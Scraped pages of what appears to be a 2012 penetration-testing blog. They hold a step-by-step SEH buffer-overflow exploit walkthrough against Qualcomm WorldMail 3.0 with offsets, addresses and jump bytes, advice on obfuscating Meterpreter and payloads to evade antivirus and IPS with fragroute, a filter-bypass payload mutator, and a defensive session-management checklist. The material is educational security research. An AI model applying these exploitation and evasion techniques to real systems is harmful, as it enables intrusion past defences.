This is an extract from the web site with a long list of compromised certificates: "The following is a list of digital certificates that have been reported by the forum as possibly being associated with malware to various certificate authorities. This information is intended to help prevent companies from using digital certificates to add legitimacy to malware and encourage prompt revocation of such certificates." 

Obfuscating Meterpreter

It is really easy to obfuscate Meterpreter,  in the following post http://spareclockcycles.org/tag/meterpreter/ the person that owns the blog explains that he/she managed to obfuscate the Meterpreter by writing a XOR program in python. The following extract is from the blog:

"What surprised me during all of this was how ridiculously easy it is to do just that. About 60 lines of Python (I know, way too many) and 20 lines of C was all it took to take my detection rate from 40% to 1% (32 bit version / 64 bit version). The Python code largely is just to automate things, but it also made the XOR crypting easier and allowed me to more easily embed arbitrary executables in my code (which is useful in embedding other, non-metasploit payloads)."

Epilogue

The drop-ing payload is a very important part of a social engineering attack. If you are doing all the other stages like a professional but use an average payload you won't get the great results you expect. Client-side attacks and social engineering should be included in every penetration testing engagement, if you are not testing for social engineering attacks a very significant attack vector that real hackers use will be skipped.     


References:
  1. http://www.scmagazine.com/what-ceos-should-know-about-advanced-persistent-threats-and-industrialized-hacking/article/168534/
  2. http://www.google.ie/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDQQFjAD&url=http%3A%2F%2Fwww.imperva.com%2Fdocs%2FWP_Industrialization_of_Hacking.pdf&ei=4INLUOmvNIW2hQfoyoHACA&usg=AFQjCNGK3zxXrOHOIf829XOEPI78FFWcjw&sig2=VzVIvZmXY8--Vwp3ACm9aw&cad=rja
  3. http://www.honeynet.org/
  4. http://www.networkworld.com/news/2007/112807-client-side-attacks-rise.html
  5. http://blog.spiderlabs.com/2012/08/client-side-payload-the-brazilian-way.html
  6. http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29
  7. http://securityxploded.com/dll-injection-and-hooking.php
  8. http://en.wikipedia.org/wiki/Code_signing
  9. http://blogs.technet.com/b/srd/archive/2012/06/03/microsoft-certification-authority-signing-certificates-added-to-the-untrusted-certificate-store.aspx
  10. http://spareclockcycles.org/tag/meterpreter/






31/08/2012

Over The Flow (Part 4)

Intro

In this post is the final and last post from the Over The Flow Series (you have to read and understand all previous 3 posts to figure out what is going on here). I will finally insert and execute a shell-code in our vulnerable application. But in this article we will also do further analysis on the SEH exploitation and I will try to fully describe exactly what happened in order to gain a remote shell. But first we should be the appropriate music: 


Note: Paranoia niiiiiiiiice music FYI.

Prerequisites

To understand all the shit I’ll try to explain you, you should fulfill the following requisites:
  1. Basic X86 assembly.
  2. Debugging with ollydebug.
  3. Basic knowledge of exploitation basics in structured exception handling.
Note: Of course you would also have to read the previous three parts

Again a little about Structured Exception Handling  (as a reminder)

The Structured Exception Handler (SEH) is used to handle exceptions within Windows programs. Every process that an Operating System (OS) has is provided with a SEH capability, and when a Windows program generate an exception that it cannot handle itself, control is passed to a SEH address which contains the code that can be used to show a dialog box explaining that the program has crashed or to pass control to a debugger if one is running. When control from our original exception was passed from the debugger back to vulnerable server , the windows exception handler was actually involved in mediating the process. The fact that the windows exception handler become involved in this process allows some additional protections against SEH exploitation to be added, which we have to learn to work around when performing SEH overwrites on certain versions of Windows. 

SEH is an exception handler (from famous Corelan Team)

An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an exception.  A typical exception handler looks like this :

try { //run program }
catch { //catch exception } 

Note: The syntax is very easy to understand, it is like any other exception handling.

I quick conceptual representation looks like that:


Note: "Address of exception handler" is just one part of a SEH record – the image above is an abstract representation, merely showing the various components

Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of the default handler kicking in.  It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort.

When using language EH’s, the necessary links and calls to the exception handling code are generated in accordance with the underlying OS and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used (UnhandledExceptionFilter).  So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).

In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved on the stack (for each code block). Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame. In other words : Each function/procedure gets a fixed stack frame. If an exception handler is implemented in this function/procedure, the exception handler gets its own stack frame.  Information about the frame-based exception handler is stored in an exception_registration structure on the stack.

This structure (also called a SEH record) is 8 bytes and has 2 (4 byte) elements :
  1. A pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception).
  2. A pointer,  the address of the actual code of the exception handler. (SE Handler). 
Simple stack view on the SEH chain components :


Note: At the top of the main data block (the data block of the application’s “main” function, or TEB (Thread Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. The bottom of the SEH chain is indicated by 0xFFFFFFFF. If the bottom of the SEH is reached then improper termination of the program will be triggered (and the OS handler will kick in).

More on SEH exploitation 

In the previous tutorial post, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this :

[Junk] [next SEH] [SEH] [Shellcode]

I have indicated that SEH needs to be overwritten by a pointer to “pop pop ret” and that next SEH needs to be overwritten with 6 bytes to jump over SEH. You have to look to all registers, work with breakpoints, etc, to see where your payload / shellcode resides… look at your stack and then build the payload structure accordingly.

The vulnerable program stack

Initially when the stack of the program we are trying exploit (the Qualcomm WorldMail v3.0 stack) looks like that: 



Note: The stack of the program before we try to exploit it. No malicious string insertion is applied in the stack displayed above.

Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE Handler).  The pop pop ret sequence will make sure this code gets executed.

In other words, the payload must do the following things:
  1. Cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in.
  2. Overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode).
  3. Overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
  4. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).

Using Metasploit and Olly to overwrite SEH and Next SEH

In order to overwrite the Wordlmail v3.0 SEH and Next SEH I am going to use the very well known tools found in metasploit the pattern_create.rb and pattern_offset.rb and an OllyDebug plugin that can identify binaries with no Safe SEH enabled found here. After we carefully examine the binary for our good luck we can see that the executable of the server is unprotected and therefore can be used to identify a PPR jump and a SEH address. But first lets check how can we overwrite the SEH and NextSEH addresses.

Step 1:First we run ./pattern_create.rb 1500

Note: The length of the buffer was identified in previous posts.

The generated pattern is this:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0
Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1
Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2
Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3
Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4
Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5
Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6
Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7B
g8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk
9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0
Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1B
t2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx
3Bx4Bx5Bx6Bx7Bx8Bx9



Step 2: We then insert that to our python code and inject that to the  running application:



Note: Take note that the in the buffer I added at the end the } character (which translate to \x7d in hex), so as to trigger the exception.  

Step 3: Start thew IMAP server from the services:


 Step 4: Now we launch the app, attach to OllyDebuger and run the python script:


Step 5: Execute the python script and crush the server, then go View -> SafeSEH:


Note: In this OllyDebugger windows we see that the address was overwritten by the value 41387a41.

Step 6: After we do that, I copy in the clipboard the file, open a bash shell and paste the value to the bash to find the offset using this command ./pattern_offset.rb 41387a41, the repsonse we get back is:
[*] Exact match at offset 774.

Note: We should point out at this stage that the value is written in the NextSEH and not the SEH pointer. Also that the tool patten_create when used always generates the same pattern (e.g. a generated pattern of 1500 long would be always be the same). And that the pattern_offset due to the fact that the stack will always have the same start address 0x00000000 and same ending address 0xFFFFFFFF (see windows memory management) would be able to easily translate the position of the desired value always. 


Step 7: We modify the python script show as to mark with B's the NextSEH and verify our assumption using the following script:


This is the outcome of our python script:


Note: And voila, a quick view to the stack dump shows us that the Next SEH pointer was overwritten with the B's.

Positioning the shell 

Based on the explanations given previously the buffer should have the following format:

 [Junk] [next SEH] [SEH] [Shellcode]

Note: Further investigation will make see that there not enough space for the shell after the SEH. This means that we would have to find space in a different part of the stack. In our example the Shellcode is placed directly after the SEH, but the Wordmail situation we would have to make some memory manipulation and jump back in the stack.

The following OllyDebug picture shows the space left after the SEH pointer:

 
Note: The address we are looking for is 01b9ffac.

And the address end of the stack is:

  
Note: The address we are looking for is 01b9fff4. This is going to give us roughly the size of the space left to inject out shellcode.

Approximate size to insert our shell: 01b9fff4 - 01b9ffac = 48 bytes

So the final buffer would look like this:

  [Junk][Shellcode][Junk][next SEH] [SEH] [BackJump][Junk]

Note: In our situation the junk section of the buffer are nops (\x90).

The reason we do that is because:
  1. The final shellcode will be encoded for avoiding bad characters (e.g. \x00, \xff, \x0a, \x0d etc.) so when it executes it would need to unfold itself and expand within the stack. So surrounding the shell with nops (No Operation Hex = \x90) is always a good idea because it will give space for our shellcode to breath.
  2. When the shellcode is surrounded with nops, even if we make mistakes as far as jump address is concerned or we cannot jump directly to the beginning of the shell the nops are going to help us slide to the beginning of our shellcode.
  3. Back jumping will give us flexibility as far as the space available to for our shell is. 
Now the only think left to do is generate a shellcode using msfpayload, appropriate for our reasons, and then identify the size of the desired shellcode simulate the shellcode with breaks points (break = \xcc) inject that to the IMAP server and see if the break points occupy a continuous space in the stack.

So based on what just described this is how our new buffer should look like:

[ \x90's ][\xCC's][ \x90's ][next SEH] [SEH] [BackJump][ \x90's ]

After we do that in a similar way we calculate the the space, which is 700 bytes (plenty of space) and we create a Reverse Backward  Jump for 700 bites which is this one \xe9\x44\xfd\xff\xff. Our back jump does not have to be very accurate because we placed the nops to slide to our shell.

Finding the proper addresses

Step 1: The next step would be to find the POP POP RET sequence. In order to do that we relaunch the application, attach the application to the debugger select the CPU area and do right click do a Search for -> Sequence of Commands.


Note: The identified address is 7c901d6d, of course we can also use other tools to search for a ppr. Another way would be to use msfpescan from metasploit toolkit.

Step 2: The last step would be to insert after SEH address back jump and voila our exploit is ready to go.

Note:  I am not going to explain how the payload is generated, this is covered in previous post.

And the final exploit is:


Note: Important lessons learned from this exploit. During my effort to reproduce the exploit I learned the hard way that using poor old ollyDebug or IdaPro without other complementary tools is going to be very stressful and time consuming process. The same process if mona.py tools or other appropriate tools were used would have taken me a lot less.

Reference:
  1. http://www.exploit-db.com/wp-content/themes/exploit/docs/17971.pdf 
  2. https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
  3. https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
  4. http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html
  5. http://www.exploit-db.com/wp-content/themes/exploit/docs/40.pdf  
  6. The Shellcoder's Handbook SECOND EDITION by Chris Anley, Felix FX, Gerardo Richarte and John Heasman
  7. http://bap.ece.cmu.edu/ 
  8. http://www.immunityinc.com/products-immdbg.shtml 
  9. http://www.openrce.org/downloads/details/244/OllySSEH 
  10. http://www.offensive-security.com/metasploit-unleashed/Writing_An_Exploit 
  11. http://thestarman.pcministry.com/asm/2bytejumps.htm 

22/08/2012

The Teenage Mutant Ninja Turtles project....

Intro
 
Elusive Thoughts are proud to present you The Teenage Mutant Ninja Turtles project....


What Teenage Mutant Ninja Turtles is?

The Teenage Mutant Ninja Turtles project is three things:
  1. A Web Application payload database (heavily based on fuzzdb project for now).
  2. A Web Application error database.
  3. A Web Application payload mutator.
Nowadays all high profile sites found in financial and telecommunication sector use filters to filter out all types of vulnerabilities such as SQL, XSS, XXE, Http Header Injection e.t.c. In this particular project I am going to provide you with a tool to generate Obfuscated Fuzzing Injection attacks on order to bypass badly implemented Web Application injection filters (e.t.c SQL Injections, XSS Injections e.t.c).

When you test a Web Application all you need is a fuzzer and ammunition:

"I saw clearly that war was upon us when I learned that my young men had been secretly buying ammunition."

Chief Joseph

Ammunition is what you use for fuzzing and the weapon is the fuzzer itself. The project called teenage-mutant-ninja-turtles is an open source payload mutator, nothing more nothing less. With teenage-mutant-ninja-turtles you will be able to generate Obfuscated payloads for testing all sorts of attacks, such as XSS, SQL Injections etc. The project is in version 1.1 and currently supports only SQL Injection fuzzing. Later on I will add support for fuzzdb and all types of attacks. Maybe later it will become a complete Web Application Scanner who knows. If you think that you are interested please contact me to participate.

Download link:http://code.google.com/p/teenage-mutant-ninja-turtles/downloads/list

The Teenage Mutant Ninja Turtles in action

The following screenshot shows the tool banner (yes it has a banner!!):


The Teenage Mutant Turtle is a Web application payload database for performing black box Web Application penetration tests (it also supports banner displaying!!!), more specifically is:
  1. A collection of known attack patterns focused in Web Application input validation attacks (e.g. SQL Injections, XSS attacks e.t.c)
  2. A collection of error messages produced by malicious and malformed user inputs, which you can use with Burp intruder or other grep-like utilities to identify and verify vulnerabilities when fuzzing.
  3. An easy to use python script that helps you to obfuscate payloads for bypassing costume Web Application filters.
It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers arsenal toolkit.

 The Teenage Mutant Ninja Turtles features

Currently Teenage Mutant Ninja Turtles (tmnt) support the following features:
  1. Generic payload URL encoding.
  2. Generic payload Base64 encoding.
  3. SQL keyword case variation adding (e.g. converts SELECT to SeLeCt e.t.c).
  4. Generic payload DE-duplication (e.g. removing double payload lines).
  5. SQL Injection suffix adder (e.g. adding EXEC to the begging of the payload e.t.c).
  6. SQL Injection post-fix adder (e.g. adding ); -- to the end of the payload e.t.c).  
 The following screenshot shows the help message of the the tool:


Epilogue 

There are more features to come...





  


29/07/2012

Hacking the Session for fun and profit

Intro

This post is about describing from the security perspective how the life cycle of a Web Application should be. By saying life cycle I mean all the stages a session goes through and what are the steps to be taken on order to properly test the session. Very recently I had a discussion about session management with a colleague of mine and he seemed confused about what session management is and how it should be handled. Now if you lookup the OWASP session management cheat sheet you are going to find lots of interesting information overlapping the information presented here but, there is no information in the internet that has a complete and easy to understand guide about how to test a session.

What is a Session and how should it behave

A web application session is a user credential "representative" for as long as the user is logged in (well not always). In more simple words the user credentials after a successful log-in should be translated into one or more cryptographically secure variable that:
  1. Should not leak (e.g. no session passed in web application URL) while being valid.
  2. Should not be predictable (that is what cryptographically secure means).
  3. Should expire under certain conditions (e.g. user log out).
  4. Should not be recyclable (e.g. do not save in database). 
  5. Should be mascaraed (e.g. do not use the default framework .NET name).
  6. Should be tamper-prof (e.g. run regular integrity checks).
  7. Should not be cloned (e.g. concurrent log-ins should not be supported).
  8. Should be audited (e.g. track user id and session pair and log events)
  9. Should have a 1-1 relationship with the username or user id (e.g. one session variable should translate in one username)   
Note: If one or more of the conditions described above is not met then your session is open to be attacked.

Session life cycle conceptual representation

The following diagram shows the session life cycle and how it should be according to me view. The purple color shows what it should be checked, the green shows how to perform hardening, all other is parts of the diagram is about about attacks that can be performed at that specific session stage. The attacks in red are the most critical and should be characterized as high impact attacks, the attacks in yellow should be characterized as medium impact and the attacks in green have information leakage impact in the web application.
  
  

Note: See how the the session attacks performed after the session authorization are all red. Take note also to the fact that almost all attacks concerning session are red.

The following diagram explains the signs used above:


Note: The image above is self explanatory.

The Session Checklist

The following part of the article attempts to specify the exact characyetristics a session should have and what you should check in more detail:
  • Session Properties:
  1. Session ID Name Fingerprinting
    1. Change Session Default Name
    2. Use additional proper costume secure tokens
  2. Session ID Length
    1. Chose Big Length (e.g. the session ID length must be at least 128 bits 16)
  3. Session ID Entropy
    1. Use true random numer generator for the session
    2. Refresh after login
  4. Session ID Content (or Value)
    1. Don't save critical Web Application Data in session
    2. Use meaningless data to the session 
  • Session Attributes:
  1. Secure Attribute
    1. Set secure flag (or simply enforce SSLv3/TLSv1)
  2. HttpOnly Attribute
    1. Set HttpOnly flag
    2. Disable TRACE http method
  3. Domain and Path Attributes
    1. Restrict Path
    2. Do not include cross domain scripts from none trusted third parties 
  4. Expire and Max-Age Attributes 
    1. Make sure cookies expire after log-off 
  • Session Input Validation Defense Mechanisms:
  1. Manage Session ID as Any Other User Input
  2. Renew the Session ID After Any Privilege Level Change
  3. Renew Session after authorizing the session
  • Session Leakage
  1. Do not pass session into Http referrer header field. 
  2. Do not pass session into web application urls.
  • Session Termination:
  1. Idle Timeout (e.g. after 15 minutes of user inactivity)
  2. Absolute Timeout (e.g. force expiration after 3 hours)
  3. Manual Session Expiration (e.g. increase user security awareness by giving them de-validation options)
  4. Logout Button 
  5. Force Session Logout On Web Browser Window Close Events
  6. Automatic Client Logout 3 Session Attacks Detections
    1. Session ID Guessing and Brute Force Detection
    2. Detecting Session ID Anomalies
    3. Binding the Session ID to Other User Properties 
  • Session Event Auditing:
  1. Monitor Session Creation
  2. Monitor Destruction of Session IDs 
  3. Monitor simultaneous Session Log-ons
  4. Export session auditing into syslog format and feed it to an event correlation engine
  5. Implement costume e-mail alerts (e.g. for multiple access denied events). 
Cookie/Session token reverse engineering

Questions to answer about cookie reverse engineering:

  1. Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, he/she will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.
  2. Tamper resistance: a cookie must resist malicious attempts of modification. If we receive a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)
  3. Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from disk/memory afterwards, in order to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).
  4. "Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.
Epilogue 

The diagram shown above should be enough to give you a good information and a new perspective about how session should be handled. Hope this helped.....

Reference:

https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OWASP-SM-001)

04/07/2012

Ask and you shall receive (Part 2)

Intro

This article is the second part from the "Ask and you shall receive" series. Almost a month ago I received a comment from tborland1 and he/she was kind enough to explain to me that the first article had nothing to do with bypassing IPS/IDS devices, which by the way is true. But it did explain about rapid payload delivery and it did mention that the fragroute tool (and some other tools) can be used to bypass this type of devices, so in this article I will show more specifically how to bypass the Symantec Endpoint IPS/IDS software. But the most important is that I did explain from scratch the underlying technologies and the basic concept, which by the way is that a buffer overflow is a simple string just like an SQL injection string and that you can manipulate that sting to do WHAT EVER YOU WANT with it.

But before I start talking about the buffer overflow obfuscation I will talk first about the different stages a buffer over flow goes before reaching the target machine. So lets talk first about the structure of the buffer overflow structure and the TCP/IP stages (I am reminding you that the buffer overflow is the one mentioned in Part 1).


Attack Description

Before the buffer overflow string reaches the target machine would have first to go through the TCP/IP stack then the operating system and then reach the vulnerable application. In our case the Buffer Overflow string mention is the one in the first part. In order to start testing the attack pattern we would test the vulnerable application to see if it is still working and then move on. So what we want to do with our scenario is as shown below:


Note: Check out that the shell is a reverse shell and that there is the Host IPS filtering the TCP/IP encoding and the Ftp application handling of our buffer. Where host based IPS is the Symantec software version 12.

The Buffer Overflow structure

As already mention a traditional buffer overflow (a no ROP based buffer overflow) looks like this (the buffer overflow structure shown below is based on Free Float Ftp v1 buffer overflow explained in the previous article):

  • About the red sections:
Now notice that the red sections (the Junk sections) consist from random characters that are used for positioning the EIP address in the right place.Usually Junk sections when taken from published exploits contain long sequences from A's or B's or chunks of the same character. If you want to by pass any type of buffer overflow you have to replace the Junk section with a random character sequence, if you do not do that the IPS/IDS heuristic features will flag the string as a buffer overflow and block/detect it.
  • About the orange sections:
The orange sections can not be changed easily because this sections are very important for proper execution of the exploit, but you can use different types of encoding or maybe other means of mutating them, which we will see later on.
  • About the Aqua section:  
Also the aqua sections can not be changed easily because this sections are very important for sliding to the proper position (meaning the EIP) for executing the exploit, we will try to use different types of encoding or maybe other means of mutating them. Usually all decent exploit block strange sequence of NOPS. NOPing a buffer overflow is typical for running properly the exploit.
  • About the Green section: 
Again the green sections are also important to properly executing the payload. But we can use the msfencode utility to try and execute the buffer overflow again.

The TCP/IP Stack structure

During the experiment we will manipulate the stack to deceive the host based IPS, more specifically we will focus in only two layers the TCP and the IP layer. The following schema show the layers we will play with: 



Note: Using fragroute we will alter some TCP and IP fields to bypass the Symantec endpoint software.

The Tools for obfuscating the Buffer Overflow String

The tools I am going to use to manipulate the Buffer Structure are allocated in the Metasploit suite or are manual. More specifically I am going to use:
  1. msfencode
  2. msfpayload
  3. msfvenom
  4. pattern_create.rb
  5. Manual Encoding
Note: The tools mentioned above, as already mentioned, are all located in the Metasploit suite and are going to help us make the Buffer Overflow string look more random. 

The Tools for obfuscating the Buffer Overflow for the stack

This Fragroute helps the pentester to intercept, modify and rewrite the egress traffic according to the rules defined in the configuration file. By simply modifying the configuration file located at '/etc/fragroute.conf' with the following default values you can attempt to bypass your targeted IPS/IDS:

tcp_seg 24
ip_frag 64 tcp_chaff paws
print

The fragroute tool creates a route to the server you target and all your traffic passes through fragroute - no need to configure proxy in web browsers (if you are targeting a web server).

This configuration goes in the conf file /pentest/scanners/fragroute-1.2/fragroute.conf and the command would be:

bt ~ # fragroute -f /pentest/scanners/fragroute-1.2/fragroute.conf xxx.xxx.xxx.xxx

Note: After the command is executed, just browse to the site and your traffic will be fragged!Another technique can be used in conjunction with fragroute is gzip encoding for evasion purposes.

About the Symantec Antivirus software

The following text is an extract from Mr Vikram Kumar hosted on Symantec official web site:

"Symantec Endpoint Protection IPS system is the best IPS available anywhere!  I explained Symantec maintains one of the world’s most comprehensive vulnerability databases, currently consisting of more than 32,000 recorded vulnerabilities (spanning more than two decades) affecting more than 72,000 technologies from more than 11,000 vendors.You can also create your own IPS rules for your specific requirement."

Note: So you get the picture that if I bypass the HIPS of Symantec I would have defeated the worlds best HIPS.

About the Symantec intrusion prevention sub system

The following text extract was taken from the Symantec administration guide:
 

"The intrusion prevention system (IPS) is the Symantec Endpoint Protection client's second layer of defense after the firewall. The IPS is a network-based system that operates on every computer on which the client is installed and the intrusion prevention system is enabled. If a known attack is detected, one or more intrusion
prevention technologies can automatically block it.

The intrusion prevention system scans each packet that enters and exits computers in the network for attack signatures. Attack signatures are the packet sequences that identify an attacker’s attempt to exploit a known operating system or program vulnerability.

If the information matches a known attack, the IPS automatically discards the packet. The IPS can also sever the connection with the computer that sent the data for a specified amount of time. This feature is called active response, and it protects computers on your network from being affected in any way. The client includes the following types of IPS engines that identify attack signatures."


The Methodology

What I will do in this article is that I am going to focus in two different things:
  1. The TCP/IP Obfuscation (for handling the antivirus/antispyware)
  2. The Buffer Overflow Obfuscation (for handling the HIPS)
Note: I will also describe how Symantec Endpoint Protection works, the network driver types it is using and how to write a costume IPS signature to block the modified buffer overflow.

Epilog

This post is getting bigger and bigger so I will brake it to a third part hope you enjoy when is finished.

To be continued...

Reference:
  1. http://www.darkreading.com/security/news/208804734/how-to-bypass-the-ids-ips.html
  2. http://ethicalhackernet.blogspot.gr/2009/06/bypassing-ips-penetration-tester.html
  3. http://www.indepthdefense.com/2009/08/originally-posted-on-httppauldotcom.html
  4. http://www.shell-storm.org/papers/files/270.pdf
  5. http://etutorials.org/Networking/network+security+assessment/Chapter+4.+IP+Network+Scanning/4.4+IDS+Evasion+and+Filter+Circumvention/
  6. http://www.monkey.org/~dugsong/fragroute/fragroute.8.txt
  7. http://www.symantec.com/connect/blogs/connect-and-protect-symantec-endpoint-protection-always-winner 
  8. ftp://ftp.symantec.com/public/english_us_canada/products/symantec_endpoint_protection/11.0/manuals/administration_guide.pdf 

AppSec Review for AI-Generated Code

Grepping the Robot: AppSec Review for AI-Generated Code APPSEC CODE REVIEW AI CODE Half the code shipping to production in 2026 has a...